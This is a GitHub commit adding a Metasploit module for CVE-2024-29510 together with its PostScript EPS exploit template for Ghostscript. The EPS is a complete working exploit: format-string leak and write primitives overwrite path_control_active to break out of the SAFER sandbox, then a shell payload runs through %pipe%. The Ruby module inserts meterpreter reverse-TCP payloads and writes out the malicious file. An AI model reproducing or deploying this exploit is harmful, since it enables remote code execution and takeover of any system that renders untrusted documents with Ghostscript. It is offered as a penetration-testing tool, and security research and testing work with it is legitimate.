Skip to content

Commit 1abc42a

Browse files
Add module
1 parent 745bb9c commit 1abc42a

File tree

2 files changed

+384
-0
lines changed

2 files changed

+384
-0
lines changed
Lines changed: 287 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,287 @@
1+
%!PS-Adobe-3.0 EPSF-3.0
2+
%%Pages: 1
3+
%%BoundingBox: 36 36 576 756
4+
%%LanguageLevel: 1
5+
%%EndComments
6+
%%BeginProlog
7+
%%EndProlog
8+
9+
10+
% ====== Configuration ======
11+
12+
% Offset of `gp_file *out` on the stack
13+
/IdxOutPtr 5 def
14+
15+
16+
% ====== General Postscript utility functions ======
17+
18+
% from: https://github.com/scriptituk/pslutils/blob/master/string.ps
19+
/cat {
20+
exch
21+
dup length 2 index length add string
22+
dup dup 5 2 roll
23+
copy length exch putinterval
24+
} bind def
25+
26+
% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript
27+
/times {
28+
dup length dup % rcount ostring olength olength
29+
4 3 roll % ostring olength olength rcount
30+
mul dup string % ostring olength flength fstring
31+
4 1 roll % fstring ostring olength flength
32+
1 sub 0 3 1 roll % fstring ostring 0 olength flength_minus_one
33+
{ % fstring ostring iter
34+
1 index 3 index % fstring ostring iter ostring fstring
35+
3 1 roll % fstring ostring fstring iter ostring
36+
putinterval % fstring ostring
37+
} for
38+
pop % fstring
39+
} def
40+
41+
% Printing helpers
42+
/println { print (\012) print } bind def
43+
/printnumln { =string cvs println } bind def
44+
45+
% ====== Start of exploit helper code ======
46+
47+
% Make a new tempfile but only save its path. This gives us a file path to read/write
48+
% which will exist as long as this script runs. We don't actually use the file object
49+
% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves.
50+
/PathTempFile () (w+) .tempfile pop def
51+
52+
53+
% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000>
54+
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
55+
/str_ptr_to_le_bytes {
56+
% Convert hex string argument to Postscript string
57+
% using <DEADBEEF> notation
58+
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
59+
60+
% Prepare resulting string (`string` fills with zeros)
61+
/Res 8 string def
62+
63+
% For every byte in the input
64+
0 1 ArgBytes length 1 sub {
65+
/i exch def
66+
67+
% put byte at index (len(ArgBytes) - 1 - i)
68+
Res ArgBytes length 1 sub i sub ArgBytes i get put
69+
} for
70+
71+
Res % return
72+
} bind def
73+
74+
75+
% <StackString> <FmtString> do_uniprint <LeakedData>
76+
/do_uniprint {
77+
/FmtString exch def
78+
/StackString exch def
79+
80+
% Select uniprint device with our payload
81+
<<
82+
/OutputFile PathTempFile
83+
/OutputDevice /uniprint
84+
/upColorModel /DeviceCMYKgenerate
85+
/upRendering /FSCMYK32
86+
/upOutputFormat /Pcl
87+
/upOutputWidth 99999
88+
/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
89+
/upYMoveCommand FmtString
90+
>>
91+
setpagedevice
92+
93+
% Manipulate the interpreter to put a recognizable piece of data on the stack
94+
(%%__) StackString cat .runstring
95+
96+
% Produce a page with some content to trigger uniprint logic
97+
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
98+
showpage
99+
100+
% Read back the written data
101+
/InFile PathTempFile (r) file def
102+
/LeakedData InFile 4096 string readstring pop def
103+
InFile closefile
104+
105+
LeakedData % return
106+
} bind def
107+
108+
109+
% get_index_of_controllable_stack <Idx>
110+
/get_index_of_controllable_stack {
111+
% A recognizable token on the stack to search for
112+
/SearchToken (ABABABAB) def
113+
114+
% Construct "1:%lx,2:%lx,3:%lx,...,400:%lx,"
115+
/FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def
116+
117+
SearchToken FmtString do_uniprint
118+
119+
% Search for ABABABAB => 4241424142414241 (assume LE)
120+
(4241424142414241) search {
121+
exch pop
122+
exch pop
123+
% <pre> is left
124+
125+
% Search for latest comma in <pre> to get e.g. `123:` as <post>
126+
(,) rsearch pop pop pop
127+
128+
% Search for colon and use <pre> to get `123`
129+
(:) search pop exch pop exch pop
130+
131+
% return as int
132+
cvi
133+
} {
134+
(Could not find our data on the stack.. exiting) println
135+
quit
136+
} ifelse
137+
} bind def
138+
139+
140+
% <StackIdx> <AddrHex> write_to
141+
/write_to {
142+
/AddrHex exch str_ptr_to_le_bytes def % address to write to
143+
/StackIdx exch def % stack idx to use
144+
145+
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
146+
147+
AddrHex FmtString do_uniprint
148+
149+
pop % we don't care about formatted data
150+
} bind def
151+
152+
153+
% <StackIdx> read_ptr_at <PtrHexStr>
154+
/read_ptr_at {
155+
/StackIdx exch def % stack idx to use
156+
157+
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
158+
159+
() FmtString do_uniprint
160+
161+
(__) search pop pop pop (__) search pop exch pop exch pop
162+
} bind def
163+
164+
165+
% num_bytes <= 9
166+
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
167+
/read_dereferenced_bytes_at {
168+
/NumBytes exch def
169+
/PtrHex exch def
170+
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
171+
/StackIdx exch def % stack idx to use
172+
173+
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
174+
175+
PtrOct FmtString do_uniprint
176+
177+
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
178+
179+
% Check if we were able to read all bytes
180+
Data length NumBytes eq {
181+
% Yes we did! So return the integer conversion of the bytes
182+
0 % accumulator
183+
NumBytes 1 sub -1 0 {
184+
exch % <i> <accum>
185+
256 mul exch % <accum*256> <i>
186+
Data exch get % <accum*256> <Data[i]>
187+
add % <accum*256 + Data[i]>
188+
} for
189+
} {
190+
% We did not read all bytes, add a null byte and recurse on addr+1
191+
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
192+
256 mul
193+
} ifelse
194+
} bind def
195+
196+
197+
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
198+
/read_dereferenced_ptr_at {
199+
% Read 6 bytes
200+
6 read_dereferenced_bytes_at
201+
202+
% Convert to hex string and return
203+
16 12 string cvrs
204+
} bind def
205+
206+
207+
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
208+
/ptr_add_offset {
209+
/PtrHexStr exch def % hex string pointer
210+
/Offset exch def % integer to add
211+
212+
/PtrNum (16#) PtrHexStr cat cvi def
213+
214+
% base 16, string length 12
215+
PtrNum Offset add 16 12 string cvrs
216+
} bind def
217+
218+
219+
() println
220+
221+
% ====== Start of exploit logic ======
222+
223+
224+
% Find out the index of the controllable bytes
225+
% This is around the 200-300 range but differs per binary/version
226+
/IdxStackControllable get_index_of_controllable_stack def
227+
(Found controllable stack region at index: ) print IdxStackControllable printnumln
228+
229+
% Exploit steps:
230+
% - `gp_file *out` is at stack index `IdxOutPtr`.
231+
%
232+
% - Controllable data is at index `IdxStackControllable`.
233+
%
234+
% - We want to find out the address of:
235+
% out->memory->gs_lib_ctx->core->path_control_active
236+
% hence we need to dereference and add ofsets a few times
237+
%
238+
% - Once we have the address of `path_control_active`, we use
239+
% our write primitive to write an integer to its address - 3
240+
% such that the most significant bytes (zeros) of that integer
241+
% overwrite `path_control_active`, setting it to 0.
242+
%
243+
% - Finally, with `path_control_active` disabled, we can use
244+
% the built-in (normally sandboxed) `%pipe%` functionality to
245+
% run shell commands
246+
247+
248+
/PtrOut IdxOutPtr read_ptr_at def
249+
250+
(out: 0x) PtrOut cat println
251+
252+
253+
% memory is at offset 144 in out
254+
/PtrOutOffset 144 PtrOut ptr_add_offset def
255+
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
256+
257+
(out->mem: 0x) PtrMem cat println
258+
259+
% gs_lib_ctx is at offset 208 in memory
260+
/PtrMemOffset 208 PtrMem ptr_add_offset def
261+
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
262+
263+
(out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
264+
265+
% core is at offset 8 in gs_lib_ctx
266+
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
267+
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
268+
269+
(out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
270+
271+
% path_control_active is at offset 156 in core
272+
/PtrPathControlActive 156 PtrCore ptr_add_offset def
273+
274+
(out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
275+
276+
% Subtract a bit from the address to make sure we write a null over the field
277+
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
278+
279+
% And overwrite it!
280+
IdxStackControllable PtrTarget write_to
281+
282+
283+
% And now `path_control_active` == 0, so we can use %pipe%
284+
285+
(%pipe%MSFPAYLOAD) (r) file
286+
287+
quit
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::FILEFORMAT
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Ghostscript Command Execution via Format String',
17+
'Description' => %q{
18+
This module exploits a format string vulnerability in Ghostscript
19+
versions before 10.03.1 to achieve a SAFER sandbox bypass and execute
20+
arbitrary commands. This vulnerability is reachable via libraries such as
21+
ImageMagick.
22+
},
23+
'Author' => [
24+
'Thomas Rinsma', # Vuln discovery and PoC
25+
'Christophe De La fuente' # Metasploit module
26+
],
27+
'References' => [
28+
['CVE', '2024-29510'],
29+
['URL', 'https://bugs.ghostscript.com/show_bug.cgi?id=707662'],
30+
['URL', 'https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/']
31+
],
32+
'DisclosureDate' => '2024-03-14',
33+
'License' => MSF_LICENSE,
34+
'Platform' => ['unix', 'linux', 'win'],
35+
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
36+
'Privileged' => false,
37+
'Targets' => [
38+
[
39+
'Linux Command',
40+
{
41+
'Arch' => ARCH_CMD,
42+
'Platform' => [ 'unix', 'linux' ],
43+
'DefaultOptions' => {
44+
# Payload is not set automatically when selecting this target.
45+
# Select a x64 fetch payload by default.
46+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
47+
}
48+
}
49+
],
50+
[
51+
'Windows Command',
52+
{
53+
'Arch' => ARCH_CMD,
54+
'Platform' => 'win',
55+
'DefaultOptions' => {
56+
# Payload is not set automatically when selecting this target.
57+
# Select a x64 fetch payload by default.
58+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'
59+
}
60+
}
61+
]
62+
],
63+
'DefaultTarget' => 0,
64+
'Notes' => {
65+
'Stability' => [CRASH_SAFE],
66+
'SideEffects' => [],
67+
'Reliability' => []
68+
}
69+
)
70+
)
71+
72+
register_options([
73+
OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps'])
74+
])
75+
end
76+
77+
def exploit
78+
xploit = template.sub('MSFPAYLOAD', payload.encoded)
79+
80+
file_create(xploit)
81+
print_good('You will need to start a handler for the selected payload first.')
82+
print_good("Example usage: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}")
83+
end
84+
85+
def template
86+
xploit = File.read(File.join(
87+
Msf::Config.data_directory, 'exploits', 'CVE-2024-29510', 'ghostscript_format_string.eps'
88+
))
89+
90+
# Remove comments
91+
xploit.gsub!(/^\s*% .*/, '')
92+
93+
# Remove empty lines and lines with a single %
94+
xploit.gsub(/^%?$\n/, '')
95+
end
96+
97+
end

0 commit comments

Comments
 (0)